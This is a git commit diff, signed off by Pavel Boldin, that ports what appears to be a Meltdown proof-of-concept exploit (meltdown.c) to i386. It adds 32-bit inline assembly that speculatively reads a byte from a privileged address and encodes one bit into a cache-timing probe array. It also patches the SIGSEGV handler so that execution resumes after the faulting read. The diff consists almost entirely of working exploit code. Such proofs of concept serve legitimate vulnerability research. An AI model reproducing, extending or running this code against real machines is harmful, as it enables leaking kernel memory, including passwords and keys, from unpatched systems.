try at i386 support

Signed-off-by: Pavel Boldin <boldin.pavel@gmail.com>

Author: paboldin

meltdown.c

@@ -17,6 +17,10 @@
 # define HAVE_RDTSCP 1
 #endif
 
+#if !(defined(__x86_64__) || defined(__i386__))
+# error "Only x86-64 and i386 are supported at the moment"
+#endif
+
 
 #define TARGET_OFFSET 9
 #define TARGET_SIZE (1 << TARGET_OFFSET)
@@ -38,6 +42,7 @@ static void __attribute__((noinline))
 speculate(unsigned long addr, char bit_)
 {
 	register char bit asm ("cl") = bit_;
+#ifdef __x86_64__
 	asm volatile (
 		"lea %[target], %%rbx\n\t"
 		"1:\n\t"
@@ -61,6 +66,31 @@ speculate(unsigned long addr, char bit_)
 		  [addr] "r" (addr),
 		  [bit] "r" (bit) : "rax", "rbx"
 	);
+#else /* ifdef __x86_64__ */
+	asm volatile (
+		"lea %[target], %%ebx\n\t"
+		"1:\n\t"
+
+		".rept 300\n\t"
+		"add $0x141, %%eax\n\t"
+		".endr\n\t"
+
+		"movb (%[addr]), %%al\n\t"
+		"ror %[bit], %%eax\n\t"
+		"and $1, %%eax\n\t"
+		"jz 1b\n\t"
+
+		"shl $9, %%eax\n\t"
+		"movl (%%ebx, %%eax, 1), %%ebx\n"
+
+		"stopspeculate: \n\t"
+		"nop\n\t"
+		:
+		: [target] "m" (target_array),
+		  [addr] "r" (addr),
+		  [bit] "r" (bit) : "rax", "rbx"
+	);
+#endif
 }
 
 static inline int
@@ -103,7 +133,11 @@ void check(void)
 void sigsegv(int sig, siginfo_t *siginfo, void *context)
 {
 	ucontext_t *ucontext = context;
+#ifdef __x86_64__
 	ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
+#else
+	ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
+#endif
 	return;
 }